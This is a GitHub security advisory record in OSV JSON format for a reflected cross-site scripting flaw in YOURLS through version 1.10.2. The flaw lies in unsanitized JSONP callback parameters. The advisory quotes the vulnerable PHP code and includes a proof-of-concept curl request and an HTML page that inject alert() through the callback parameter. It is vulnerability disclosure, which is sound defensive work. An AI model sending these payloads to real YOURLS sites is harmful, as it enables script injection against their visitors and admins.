GHSA-6mp4-q625-mxjp: Yourls/yourls Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-6mp4-q625-mxjp",
  "modified" : "2025-12-30T19:34:26Z",
  "published" : "2025-12-30T19:34:26Z",
  "aliases" : [ ],
  "summary" : "YOURLS is vulnerable to XSS through JSONP and Callback request parameters",
  "details" : "### Summary\n\nThe callback and **jsonp** request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When **YOURLS_PRIVATE** is set to **false** (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.\n\n### Details\n\nVulnerability exists in the JSONP callback handling chain:\n\n```\nyourls-api.php:127-128\n\nif( isset( $_REQUEST['callback'] ) )\n    $return['callback'] = $_REQUEST['callback'];\nelseif ( isset( $_REQUEST['jsonp'] ) )\n    $return['callback'] = $_REQUEST['jsonp']; \n```\n---\n\n```\nincludes/functions-api.php:127-128\n\n$callback = isset( $output['callback'] ) ? $output['callback'] : '';\n$result =  $callback . '(' . json_encode( $output ) . ')';\n```\n\n### PoC\n\nI. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.\n\nII. `curl \"http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//\"\n`\n**Expected response:** `alert(document.domain)//({\"version\":\"1.10.2\",\"callback\":\"alert(document.domain)\\/\\/\"})`\n\nBrowser PoC file:\n\n```\n<!DOCTYPE html>\n<html>\n<head><title>pwn</title></head>\n<body>\n<h1>pwn</h1>\n<script src=\"http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//\"></script>\n</body>\n</html>\n```\n\n### Impact\n\nPublic Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger **XSS.**\nPrivate Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "yourls/yourls"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.10.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/security/advisories/GHSA-6mp4-q625-mxjp"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/YOURLS/YOURLS/commit/b1c6100e0aa6fef58c9c1a394ccc19352c3a480a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/YOURLS/YOURLS"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-12-30T19:34:26Z",
    "nvd_published_at" : null
  }
}